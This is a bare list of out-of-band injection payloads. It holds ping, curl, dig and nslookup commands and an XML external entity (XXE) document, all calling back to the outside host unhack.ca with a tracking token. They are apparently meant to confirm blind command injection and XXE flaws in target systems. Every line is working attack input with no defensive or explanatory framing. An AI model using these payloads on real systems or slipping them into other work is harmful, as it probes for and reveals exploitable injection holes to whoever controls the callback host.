$ ping -c1 -p 008ad7be2601ff1ada52f0ee464d9f00 unhack.ca
$ curl http://unhack.ca/p/8ad7be2601ff1ada52f0ee464d9f
$ dig 8ad7be2601ff1ada52f0ee464d9f @unhack.ca
$ dig 8ad7be2601ff1ada52f0ee464d9f.ns.unhack.ca
C:\> nslookup 8ad7be2601ff1ada52f0ee464d9f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8ad7be2601ff1ada52f0ee464d9f">]> <foo>&xxe;</foo>